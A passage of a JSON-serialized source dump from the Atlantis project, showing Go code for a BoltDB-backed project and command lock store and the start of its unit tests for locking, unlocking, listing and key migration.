false\n\t\treturn nil\n\t})\n\n\tif transactionErr != nil {\n\t\treturn false, currLock, fmt.Errorf(\"DB transaction failed: %w\", transactionErr)\n\t}\n\n\treturn lockAcquired, currLock, nil\n}\n\n// Unlock attempts to unlock the project and workspace.\n// If there is no lock, then it will return a nil pointer.\n// If there is a lock, then it will delete it, and then return a pointer\n// to the deleted lock.\nfunc (b *BoltDB) Unlock(p models.Project, workspace string) (*models.ProjectLock, error) {\n\tvar lock models.ProjectLock\n\tfoundLock := false\n\tkey := b.lockKey(p, workspace)\n\terr := b.db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.locksBucketName)\n\t\tserialized := bucket.Get([]byte(key))\n\t\tif serialized != nil {\n\t\t\tif err := json.Unmarshal(serialized, &lock); err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to deserialize lock: %w\", err)\n\t\t\t}\n\t\t\tfoundLock = true\n\t\t}\n\t\treturn bucket.Delete([]byte(key))\n\t})\n\tif err != nil {\n\t\terr = fmt.Errorf(\"DB transaction failed: %w\", err)\n\t}\n\tif foundLock {\n\t\treturn &lock, err\n\t}\n\treturn nil, err\n}\n\n// List lists all current locks.\nfunc (b *BoltDB) List() ([]models.ProjectLock, error) {\n\tvar locks []models.ProjectLock\n\tvar locksBytes [][]byte\n\terr := b.db.View(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.locksBucketName)\n\t\tc := bucket.Cursor()\n\t\tfor k, v := c.First(); k != nil; k, v = c.Next() {\n\t\t\tlocksBytes = append(locksBytes, v)\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn locks, fmt.Errorf(\"DB transaction failed: %w\", err)\n\t}\n\n\t// deserialize bytes into the proper objects\n\tfor k, v := range locksBytes {\n\t\tvar lock models.ProjectLock\n\t\tif err := json.Unmarshal(v, &lock); err != nil {\n\t\t\treturn locks, fmt.Errorf(\"failed to deserialize lock at key '%d': %w\", k, err)\n\t\t}\n\t\tlocks = append(locks, lock)\n\t}\n\n\treturn locks, nil\n}\n\n// LockCommand attempts to create a new lock for a CommandName.\n// If the lock doesn't exists, it will create a lock and return a pointer to it.\n// If the lock already exists, it will return an \"lock already exists\" error\nfunc (b *BoltDB) LockCommand(cmdName command.Name, lockTime time.Time) (*command.Lock, error) {\n\tlock := command.Lock{\n\t\tCommandName: cmdName,\n\t\tLockMetadata: command.LockMetadata{\n\t\t\tUnixTime: lockTime.Unix(),\n\t\t},\n\t}\n\n\tnewLockSerialized, _ := json.Marshal(lock)\n\ttransactionErr := b.db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.globalLocksBucketName)\n\n\t\tcurrLockSerialized := bucket.Get([]byte(b.commandLockKey(cmdName)))\n\t\tif currLockSerialized != nil {\n\t\t\treturn errors.New(\"lock already exists\")\n\t\t}\n\n\t\t// This will only error on readonly buckets, it's okay to ignore.\n\t\tbucket.Put([]byte(b.commandLockKey(cmdName)), newLockSerialized) // nolint: errcheck\n\t\treturn nil\n\t})\n\n\tif transactionErr != nil {\n\t\treturn nil, fmt.Errorf(\"db transaction failed: %w\", transactionErr)\n\t}\n\n\treturn &lock, nil\n}\n\n// UnlockCommand removes CommandName lock if present.\n// If there are no lock it returns an error.\nfunc (b *BoltDB) UnlockCommand(cmdName command.Name) error {\n\ttransactionErr := b.db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.globalLocksBucketName)\n\n\t\tif l := bucket.Get([]byte(b.commandLockKey(cmdName))); l == nil {\n\t\t\treturn errors.New(\"no lock exists\")\n\t\t}\n\n\t\treturn bucket.Delete([]byte(b.commandLockKey(cmdName)))\n\t})\n\n\tif transactionErr != nil {\n\t\treturn fmt.Errorf(\"db transaction failed: %w\", transactionErr)\n\t}\n\n\treturn nil\n}\n\n// CheckCommandLock checks if CommandName lock was set.\n// If the lock exists return the pointer to the lock object, otherwise return nil\nfunc (b *BoltDB) CheckCommandLock(cmdName command.Name) (*command.Lock, error) {\n\tcmdLock := command.Lock{}\n\n\tfound := false\n\n\terr := b.db.View(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.globalLocksBucketName)\n\n\t\tserializedLock := bucket.Get([]byte(b.commandLockKey(cmdName)))\n\n\t\tif serializedLock != nil {\n\t\t\tif err := json.Unmarshal(serializedLock, &cmdLock); err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to deserialize UserConfig: %w\", err)\n\t\t\t}\n\t\t\tfound = true\n\t\t}\n\n\t\treturn nil\n\t})\n\n\tif found {\n\t\treturn &cmdLock, err\n\t}\n\n\treturn nil, err\n}\n\n// UnlockByPull deletes all locks associated with that pull request and returns them.\nfunc (b *BoltDB) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) {\n\tvar locks []models.ProjectLock\n\terr := b.db.View(func(tx *bolt.Tx) error {\n\t\tc := tx.Bucket(b.locksBucketName).Cursor()\n\n\t\t// we can use the repoFullName as a prefix search since that's the first part of the key\n\t\tfor k, v := c.Seek([]byte(repoFullName)); k != nil && bytes.HasPrefix(k, []byte(repoFullName)); k, v = c.Next() {\n\t\t\tvar lock models.ProjectLock\n\t\t\tif err := json.Unmarshal(v, &lock); err != nil {\n\t\t\t\treturn fmt.Errorf(\"deserializing lock at key %q: %w\", string(k), err)\n\t\t\t}\n\t\t\tif lock.Pull.Num == pullNum {\n\t\t\t\tlocks = append(locks, lock)\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn locks, err\n\t}\n\n\t// delete the locks\n\tfor _, lock := range locks {\n\t\tif _, err = b.Unlock(lock.Project, lock.Workspace); err != nil {\n\t\t\treturn locks, fmt.Errorf(\"unlocking repo %s, path %s, workspace %s: %w\", lock.Project.RepoFullName, lock.Project.Path, lock.Workspace, err)\n\t\t}\n\t}\n\treturn locks, nil\n}\n\n// GetLock returns a pointer to the lock for that project and workspace.\n// If there is no lock, it returns a nil pointer.\nfunc (b *BoltDB) GetLock(p models.Project, workspace string) (*models.ProjectLock, error) {\n\tkey := b.lockKey(p, workspace)\n\tvar lockBytes []byte\n\terr := b.db.View(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket(b.locksBucketName)\n\t\tlockBytes = b.Get([]byte(key))\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"getting lock data: %w\", err)\n\t}\n\t// lockBytes will be nil if there was no data at that key\n\tif lockBytes == nil {\n\t\treturn nil, nil\n\t}\n\n\tvar lock models.ProjectLock\n\tif err := json.Unmarshal(lockBytes, &lock); err != nil {\n\t\treturn nil, fmt.Errorf(\"deserializing lock at key %q: %w\", key, err)\n\t}\n\n\t// need to set it to Local after deserialization due to https://github.com/golang/go/issues/19486\n\tlock.Time = lock.Time.Local()\n\treturn &lock, nil\n}\n\n// UpdatePullWithResults updates pull's status with the latest project results.\n// It returns the new PullStatus object.\nfunc (b *BoltDB) UpdatePullWithResults(pull models.PullRequest, newResults []command.ProjectResult) (models.PullStatus, error) {\n\tkey, err := b.pullKey(pull)\n\tif err != nil {\n\t\treturn models.PullStatus{}, err\n\t}\n\n\tvar newStatus models.PullStatus\n\terr = b.db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.pullsBucketName)\n\t\tcurrStatus, err := b.getPullFromBucket(bucket, key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// If there is no pull OR if the pull we have is out of date, we\n\t\t// just write a new pull.\n\t\tif currStatus == nil || currStatus.Pull.HeadCommit != pull.HeadCommit {\n\t\t\tvar statuses []models.ProjectStatus\n\t\t\tfor _, r := range newResults {\n\t\t\t\tstatuses = append(statuses, b.projectResultToProject(r))\n\t\t\t}\n\t\t\tnewStatus = models.PullStatus{\n\t\t\t\tPull:     pull,\n\t\t\t\tProjects: statuses,\n\t\t\t}\n\t\t} else {\n\t\t\t// If there's an existing pull at the right commit then we have to\n\t\t\t// merge our project results with the existing ones. We do a merge\n\t\t\t// because it's possible a user is just applying a single project\n\t\t\t// in this command and so we don't want to delete our data about\n\t\t\t// other projects that aren't affected by this command.\n\t\t\tnewStatus = *currStatus\n\t\t\tfor _, res := range newResults {\n\t\t\t\t// First, check if we should update any existing projects.\n\t\t\t\tupdatedExisting := false\n\t\t\t\tfor i := range newStatus.Projects {\n\t\t\t\t\t// NOTE: We're using a reference here because we are\n\t\t\t\t\t// in-place updating its Status field.\n\t\t\t\t\tproj := &newStatus.Projects[i]\n\t\t\t\t\tif res.Workspace == proj.Workspace &&\n\t\t\t\t\t\tres.RepoRelDir == proj.RepoRelDir &&\n\t\t\t\t\t\tres.ProjectName == proj.ProjectName {\n\n\t\t\t\t\t\tproj.Status = res.PlanStatus()\n\n\t\t\t\t\t\t// Updating only policy sets which are included in results; keeping the rest.\n\t\t\t\t\t\tif len(proj.PolicyStatus) > 0 {\n\t\t\t\t\t\t\tfor i, oldPolicySet := range proj.PolicyStatus {\n\t\t\t\t\t\t\t\tfor _, newPolicySet := range res.PolicyStatus() {\n\t\t\t\t\t\t\t\t\tif oldPolicySet.PolicySetName == newPolicySet.PolicySetName {\n\t\t\t\t\t\t\t\t\t\tproj.PolicyStatus[i] = newPolicySet\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tproj.PolicyStatus = res.PolicyStatus()\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tupdatedExisting = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif !updatedExisting {\n\t\t\t\t\t// If we didn't update an existing project, then we need to\n\t\t\t\t\t// add this because it's a new one.\n\t\t\t\t\tnewStatus.Projects = append(newStatus.Projects, b.projectResultToProject(res))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Now, we overwrite the key with our new status.\n\t\treturn b.writePullToBucket(bucket, key, newStatus)\n\t})\n\tif err != nil {\n\t\treturn models.PullStatus{}, fmt.Errorf(\"DB transaction failed: %w\", err)\n\t}\n\treturn newStatus, nil\n}\n\n// GetPullStatus returns the status for pull.\n// If there is no status, returns a nil pointer.\nfunc (b *BoltDB) GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) {\n\tkey, err := b.pullKey(pull)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar s *models.PullStatus\n\terr = b.db.View(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.pullsBucketName)\n\t\tvar txErr error\n\t\ts, txErr = b.getPullFromBucket(bucket, key)\n\t\treturn txErr\n\t})\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"DB transaction failed: %w\", err)\n\t}\n\treturn s, nil\n}\n\n// DeletePullStatus deletes the status for pull.\nfunc (b *BoltDB) DeletePullStatus(pull models.PullRequest) error {\n\tkey, err := b.pullKey(pull)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = b.db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.pullsBucketName)\n\t\treturn bucket.Delete(key)\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"DB transaction failed: %w\", err)\n\t}\n\treturn nil\n}\n\n// UpdateProjectStatus updates project status.\nfunc (b *BoltDB) UpdateProjectStatus(pull models.PullRequest, workspace string, repoRelDir string, newStatus models.ProjectPlanStatus) error {\n\tkey, err := b.pullKey(pull)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = b.db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.pullsBucketName)\n\t\tcurrStatusPtr, err := b.getPullFromBucket(bucket, key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif currStatusPtr == nil {\n\t\t\treturn nil\n\t\t}\n\t\tcurrStatus := *currStatusPtr\n\n\t\t// Update the status.\n\t\tfor i := range currStatus.Projects {\n\t\t\t// NOTE: We're using a reference here because we are\n\t\t\t// in-place updating its Status field.\n\t\t\tproj := &currStatus.Projects[i]\n\t\t\tif proj.Workspace == workspace && proj.RepoRelDir == repoRelDir {\n\t\t\t\tproj.Status = newStatus\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\treturn b.writePullToBucket(bucket, key, currStatus)\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"DB transaction failed: %w\", err)\n\t}\n\treturn nil\n}\n\nfunc (b *BoltDB) pullKey(pull models.PullRequest) ([]byte, error) {\n\thostname := pull.BaseRepo.VCSHost.Hostname\n\tif strings.Contains(hostname, pullKeySeparator) {\n\t\treturn nil, fmt.Errorf(\"vcs hostname %q contains illegal string %q\", hostname, pullKeySeparator)\n\t}\n\trepo := pull.BaseRepo.FullName\n\tif strings.Contains(repo, pullKeySeparator) {\n\t\treturn nil, fmt.Errorf(\"repo name %q contains illegal string %q\", hostname, pullKeySeparator)\n\t}\n\n\treturn fmt.Appendf(nil, \"%s::%s::%d\", hostname, repo, pull.Num),\n\t\tnil\n}\n\nfunc (b *BoltDB) commandLockKey(cmdName command.Name) string {\n\treturn fmt.Sprintf(\"%s/lock\", cmdName)\n}\n\nfunc (b *BoltDB) lockKey(p models.Project, workspace string) string {\n\treturn models.GenerateLockKey(p, workspace)\n}\n\nfunc (b *BoltDB) getPullFromBucket(bucket *bolt.Bucket, key []byte) (*models.PullStatus, error) {\n\tserialized := bucket.Get(key)\n\tif serialized == nil {\n\t\treturn nil, nil\n\t}\n\n\tvar p models.PullStatus\n\tif err := json.Unmarshal(serialized, &p); err != nil {\n\t\treturn nil, fmt.Errorf(\"deserializing pull at %q with contents %q: %w\", key, serialized, err)\n\t}\n\treturn &p, nil\n}\n\nfunc (b *BoltDB) writePullToBucket(bucket *bolt.Bucket, key []byte, pull models.PullStatus) error {\n\tserialized, err := json.Marshal(pull)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"serializing: %w\", err)\n\t}\n\treturn bucket.Put(key, serialized)\n}\n\nfunc (b *BoltDB) projectResultToProject(p command.ProjectResult) models.ProjectStatus {\n\treturn models.ProjectStatus{\n\t\tWorkspace:    p.Workspace,\n\t\tRepoRelDir:   p.RepoRelDir,\n\t\tProjectName:  p.ProjectName,\n\t\tPolicyStatus: p.PolicyStatus(),\n\t\tStatus:       p.PlanStatus(),\n\t}\n}\n\nfunc (b *BoltDB) Close() error {\n\treturn b.db.Close()\n}\n"
  },
  {
    "path": "server/core/boltdb/boltdb_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage boltdb_test\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/core/boltdb\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\tbolt \"go.etcd.io/bbolt\"\n)\n\nvar lockBucket = \"bucket\"\nvar configBucket = \"configBucket\"\nvar project = models.NewProject(\"owner/repo\", \"parent/child\", \"\")\nvar workspace = \"default\"\nvar pullNum = 1\nvar lock = models.ProjectLock{\n\tPull: models.PullRequest{\n\t\tNum: pullNum,\n\t},\n\tUser: models.User{\n\t\tUsername: \"lkysow\",\n\t},\n\tWorkspace: workspace,\n\tProject:   project,\n\tTime:      time.Now(),\n}\n\nfunc TestLockCommandNotSet(t *testing.T) {\n\tt.Log(\"retrieving apply lock when there are none should return empty LockCommand\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\texists, err := b.CheckCommandLock(command.Apply)\n\tOk(t, err)\n\tAssert(t, exists == nil, \"exp nil\")\n}\n\nfunc TestLockCommandEnabled(t *testing.T) {\n\tt.Log(\"setting the apply lock\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\ttimeNow := time.Now()\n\t_, err := b.LockCommand(command.Apply, timeNow)\n\tOk(t, err)\n\n\tconfig, err := b.CheckCommandLock(command.Apply)\n\tOk(t, err)\n\tEquals(t, true, config.IsLocked())\n}\n\nfunc TestLockCommandFail(t *testing.T) {\n\tt.Log(\"setting the apply lock\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\ttimeNow := time.Now()\n\t_, err := b.LockCommand(command.Apply, timeNow)\n\tOk(t, err)\n\n\t_, err = b.LockCommand(command.Apply, timeNow)\n\tErrEquals(t, \"db transaction failed: lock already exists\", err)\n}\n\nfunc TestUnlockCommandDisabled(t *testing.T) {\n\tt.Log(\"unsetting the apply lock\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\ttimeNow := time.Now()\n\t_, err := b.LockCommand(command.Apply, timeNow)\n\tOk(t, err)\n\n\tconfig, err := b.CheckCommandLock(command.Apply)\n\tOk(t, err)\n\tEquals(t, true, config.IsLocked())\n\n\terr = b.UnlockCommand(command.Apply)\n\tOk(t, err)\n\n\tconfig, err = b.CheckCommandLock(command.Apply)\n\tOk(t, err)\n\tAssert(t, config == nil, \"exp nil object\")\n}\n\nfunc TestMigrationOldLockKeysToNewFormat(t *testing.T) {\n\tt.Log(\"migration should convert old format keys to new format with project name\")\n\n\t// Create a temporary directory\n\ttmpDir := t.TempDir()\n\n\t// Create a database file manually with an old format key\n\tdbPath := tmpDir + \"/atlantis.db\"\n\tboltDB, err := bolt.Open(dbPath, 0600, nil)\n\tOk(t, err)\n\n\t// Create buckets\n\terr = boltDB.Update(func(tx *bolt.Tx) error {\n\t\tif _, err := tx.CreateBucketIfNotExists([]byte(\"runLocks\")); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif _, err := tx.CreateBucketIfNotExists([]byte(\"pulls\")); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif _, err := tx.CreateBucketIfNotExists([]byte(\"globalLocks\")); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t})\n\tOk(t, err)\n\n\t// Create a lock in old format: {repoFullName}/{path}/{workspace}\n\toldKey := \"owner/repo/path/default\"\n\toldProject := models.NewProject(\"owner/repo\", \"path\", \"myproject\")\n\toldLock := models.ProjectLock{\n\t\tPull:      models.PullRequest{Num: 1},\n\t\tUser:      models.User{Username: \"testuser\"},\n\t\tWorkspace: \"default\",\n\t\tProject:   oldProject,\n\t\tTime:      time.Now(),\n\t}\n\n\toldLockSerialized, err := json.Marshal(oldLock)\n\tOk(t, err)\n\n\t// Insert old format lock\n\terr = boltDB.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket([]byte(\"runLocks\"))\n\t\treturn bucket.Put([]byte(oldKey), oldLockSerialized)\n\t})\n\tOk(t, err)\n\n\t// Verify old key exists\n\terr = boltDB.View(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket([]byte(\"runLocks\"))\n\t\tval := bucket.Get([]byte(oldKey))\n\t\tAssert(t, val != nil, \"old key should exist before migration\")\n\t\treturn nil\n\t})\n\tOk(t, err)\n\n\t// Close the database\n\tboltDB.Close()\n\n\t// Now open with boltdb.New which should trigger the migration\n\tb, err := boltdb.New(tmpDir)\n\tOk(t, err)\n\tdefer b.Close()\n\n\t// List all locks\n\tallLocks, err := b.List()\n\tOk(t, err)\n\tAssert(t, len(allLocks) == 1, \"should have 1 lock after migration\")\n\n\t// Verify the lock can be retrieved using the GetLock method\n\t// which uses the new key format internally\n\tprojectWithName := models.NewProject(\"owner/repo\", \"path\", \"myproject\")\n\tretrievedLock, err := b.GetLock(projectWithName, \"default\")\n\tOk(t, err)\n\tAssert(t, retrievedLock != nil, \"lock should exist with new key format\")\n\tEquals(t, \"owner/repo\", retrievedLock.Project.RepoFullName)\n\tEquals(t, \"path\", retrievedLock.Project.Path)\n\tEquals(t, \"myproject\", retrievedLock.Project.ProjectName)\n\tEquals(t, \"default\", retrievedLock.Workspace)\n\tEquals(t, \"testuser\", retrievedLock.User.Username)\n}\n\nfunc TestNoMigrationNeededForNewFormatKeys(t *testing.T) {\n\tt.Log(\"migration should not affect keys already in new format\")\n\n\t// Create a temporary directory for the test database\n\ttmp := t.TempDir()\n\tdb, err := boltdb.New(tmp)\n\tOk(t, err)\n\n\t// Create a lock with the new format (includes project name)\n\tprojectWithName := models.NewProject(\"owner/repo\", \"path\", \"projectName\")\n\tnewLock := models.ProjectLock{\n\t\tPull:      models.PullRequest{Num: 1},\n\t\tUser:      models.User{Username: \"testuser\"},\n\t\tWorkspace: \"default\",\n\t\tProject:   projectWithName,\n\t\tTime:      time.Now(),\n\t}\n\n\t// Acquire lock using the new format\n\tacquired, _, err := db.TryLock(newLock)\n\tOk(t, err)\n\tAssert(t, acquired, \"should acquire lock\")\n\n\t// Verify the lock can be retrieved immediately after creation\n\tretrievedLock, err := db.GetLock(projectWithName, \"default\")\n\tOk(t, err)\n\tAssert(t, retrievedLock != nil, \"lock should exist\")\n\tEquals(t, \"projectName\", retrievedLock.Project.ProjectName)\n\tEquals(t, \"testuser\", retrievedLock.User.Username)\n\n\t// Close and reopen the database to trigger any migration logic\n\tdb.Close()\n\tdb, err = boltdb.New(tmp)\n\tOk(t, err)\n\tdefer db.Close()\n\n\t// Verify lock still exists after reopening (no migration should have changed it)\n\tretrievedLock, err = db.GetLock(projectWithName, \"default\")\n\tOk(t, err)\n\tAssert(t, retrievedLock != nil, \"lock should exist after migration\")\n\tEquals(t, \"projectName\", retrievedLock.Project.ProjectName)\n\tEquals(t, \"testuser\", retrievedLock.User.Username)\n}\n\nfunc TestUnlockCommandFail(t *testing.T) {\n\tt.Log(\"setting the apply lock\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\terr := b.UnlockCommand(command.Apply)\n\tErrEquals(t, \"db transaction failed: no lock exists\", err)\n}\n\nfunc TestMixedLocksPresent(t *testing.T) {\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\ttimeNow := time.Now()\n\t_, err := b.LockCommand(command.Apply, timeNow)\n\tOk(t, err)\n\n\t_, _, err = b.TryLock(lock)\n\tOk(t, err)\n\tls, err := b.List()\n\tOk(t, err)\n\tEquals(t, 1, len(ls))\n}\n\nfunc TestListNoLocks(t *testing.T) {\n\tt.Log(\"listing locks when there are none should return an empty list\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\tls, err := b.List()\n\tOk(t, err)\n\tEquals(t, 0, len(ls))\n}\n\nfunc TestListOneLock(t *testing.T) {\n\tt.Log(\"listing locks when there is one should return it\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\t_, _, err := b.TryLock(lock)\n\tOk(t, err)\n\tls, err := b.List()\n\tOk(t, err)\n\tEquals(t, 1, len(ls))\n}\n\nfunc TestListMultipleLocks(t *testing.T) {\n\tt.Log(\"listing locks when there are multiple should return them\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\n\t// add multiple locks\n\trepos := []string{\n\t\t\"owner/repo1\",\n\t\t\"owner/repo2\",\n\t\t\"owner/repo3\",\n\t\t\"owner/repo4\",\n\t}\n\n\tfor _, r := range repos {\n\t\tnewLock := lock\n\t\tnewLock.Project = models.NewProject(r, \"path\", \"\")\n\t\t_, _, err := b.TryLock(newLock)\n\t\tOk(t, err)\n\t}\n\tls, err := b.List()\n\tOk(t, err)\n\tEquals(t, 4, len(ls))\n\tfor _, r := range repos {\n\t\tfound := false\n\t\tfor _, l := range ls {\n\t\t\tif l.Project.RepoFullName == r {\n\t\t\t\tfound = true\n\t\t\t}\n\t\t}\n\t\tAssert(t, found, \"expected %s in %v\", r, ls)\n\t}\n}\n\nfunc TestListAddRemove(t *testing.T) {\n\tt.Log(\"listing after adding and removing should return none\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\t_, _, err := b.TryLock(lock)\n\tOk(t, err)\n\t_, err = b.Unlock(project, workspace)\n\tOk(t, err)\n\n\tls, err := b.List()\n\tOk(t, err)\n\tEquals(t, 0, len(ls))\n}\n\nfunc TestLockingNoLocks(t *testing.T) {\n\tt.Log(\"with no locks yet, lock should succeed\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\tacquired, currLock, err := b.TryLock(lock)\n\tOk(t, err)\n\tEquals(t, true, acquired)\n\tEquals(t, lock, currLock)\n}\n\nfunc TestLockingExistingLock(t *testing.T) {\n\tt.Log(\"if there is an existing lock, lock should...\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\t_, _, err := b.TryLock(lock)\n\tOk(t, err)\n\n\tt.Log(\"...succeed if the new project has a different path\")\n\t{\n\t\tnewLock := lock\n\t\tnewLock.Project = models.NewProject(project.RepoFullName, \"different/path\", \"\")\n\t\tacquired, currLock, err := b.TryLock(newLock)\n\t\tOk(t, err)\n\t\tEquals(t, true, acquired)\n\t\tEquals(t, pullNum, currLock.Pull.Num)\n\t}\n\n\tt.Log(\"...succeed if the new project has a different workspace\")\n\t{\n\t\tnewLock := lock\n\t\tnewLock.Workspace = \"different-workspace\"\n\t\tacquired, currLock, err := b.TryLock(newLock)\n\t\tOk(t, err)\n\t\tEquals(t, true, acquired)\n\t\tEquals(t, newLock, currLock)\n\t}\n\n\tt.Log(\"...succeed if the new project has a different repoName\")\n\t{\n\t\tnewLock := lock\n\t\tnewLock.Project = models.NewProject(\"different/repo\", project.Path, \"\")\n\t\tacquired, currLock, err := b.TryLock(newLock)\n\t\tOk(t, err)\n\t\tEquals(t, true, acquired)\n\t\tEquals(t, newLock, currLock)\n\t}\n\t// TODO: How should we handle different name?\n\t/*\n\t\tt.Log(\"...succeed if the new project has a different name\")\n\t\t{\n\t\t\tnewLock := lock\n\t\t\tnewLock.Project = models.NewProject(project.RepoFullName, project.Path, \"different-name\")\n\t\t\tacquired, currLock, err := b.TryLock(newLock)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, true, acquired)\n\t\t\tEquals(t, newLock, currLock)\n\t\t}\n\t*/\n\n\tt.Log(\"...not succeed if the new project only has a different pullNum\")\n\t{\n\t\tnewLock := lock\n\t\tnewLock.Pull.Num = lock.Pull.Num + 1\n\t\tacquired, currLock, err := b.TryLock(newLock)\n\t\tOk(t, err)\n\t\tEquals(t, false, acquired)\n\t\tEquals(t, currLock.Pull.Num, pullNum)\n\t}\n}\n\nfunc TestUnlockingNoLocks(t *testing.T) {\n\tt.Log(\"unlocking with no locks should succeed\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\t_, err := b.Unlock(project, workspace)\n\n\tOk(t, err)\n}\n\nfunc TestUnlocking(t *testing.T) {\n\tt.Log(\"unlocking with an existing lock should succeed\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\n\t_, _, err := b.TryLock(lock)\n\tOk(t, err)\n\t_, err = b.Unlock(project, workspace)\n\tOk(t, err)\n\n\t// should be no locks listed\n\tls, err := b.List()\n\tOk(t, err)\n\tEquals(t, 0, len(ls))\n\n\t// should be able to re-lock that repo with a new pull num\n\tnewLock := lock\n\tnewLock.Pull.Num = lock.Pull.Num + 1\n\tacquired, currLock, err := b.TryLock(newLock)\n\tOk(t, err)\n\tEquals(t, true, acquired)\n\tEquals(t, newLock, currLock)\n}\n\nfunc TestUnlockingMultiple(t *testing.T) {\n\tt.Log(\"unlocking and locking multiple locks should succeed\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\n\t_, _, err := b.TryLock(lock)\n\tOk(t, err)\n\n\tnew1 := lock\n\tnew1.Project.RepoFullName = \"new/repo\"\n\t_, _, err = b.TryLock(new1)\n\tOk(t, err)\n\n\tnew2 := lock\n\tnew2.Project.Path = \"new/path\"\n\t_, _, err = b.TryLock(new2)\n\tOk(t, err)\n\n\tnew3 := lock\n\tnew3.Workspace = \"new-workspace\"\n\t_, _, err = b.TryLock(new3)\n\tOk(t, err)\n\n\t// now try and unlock them\n\t_, err = b.Unlock(new3.Project, new3.Workspace)\n\tOk(t, err)\n\t_, err = b.Unlock(new2.Project, workspace)\n\tOk(t, err)\n\t_, err = b.Unlock(new1.Project, workspace)\n\tOk(t, err)\n\t_, err = b.Unlock(project, workspace)\n\tOk(t, err)\n\n\t// should be none left\n\tls, err := b.List()\n\tOk(t, err)\n\tEquals(t, 0, len(ls))\n}\n\nfunc TestUnlockByPullNone(t *testing.T) {\n\tt.Log(\"UnlockByPull should be successful when there are no locks\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\n\t_, err := b.UnlockByPull(\"any/repo\", 1)\n\tOk(t, err)\n}\n\nfunc TestUnlockByPullOne(t *testing.T) {\n\tt.Log(\"with one lock, UnlockByPull should...\")\n\tdb, b := newTestDB()\n\tdefer cleanupDB(db)\n\t_, _, err := b.TryLock(lock)\n\tOk(t, err)\n\n\tt.Log(\"...delete nothing when its the same repo but a different pull\")\n\t{\n\t\t_, err := b.UnlockByPull(project.RepoFullName, pullNum+1)\n\t\tOk(t, err)\n\t\tls, err := b.List()\n\t\tOk(t, err)\n\t\tEquals(t, 1, len(ls))\n\t}\n\tt.Log(\"...delete nothing when its the same pull but a different repo\")\n\t{\n\t\t_, err := b.UnlockByPull(\"different/repo\", pullNum)\n\t\tOk(t, err)\n\t\tls, err := b.List()\n\t\tOk(t, err)\n\t\tEquals(t, 1, len(ls))\n\t}\n\tt.Log(\"...delete the lock when its the same 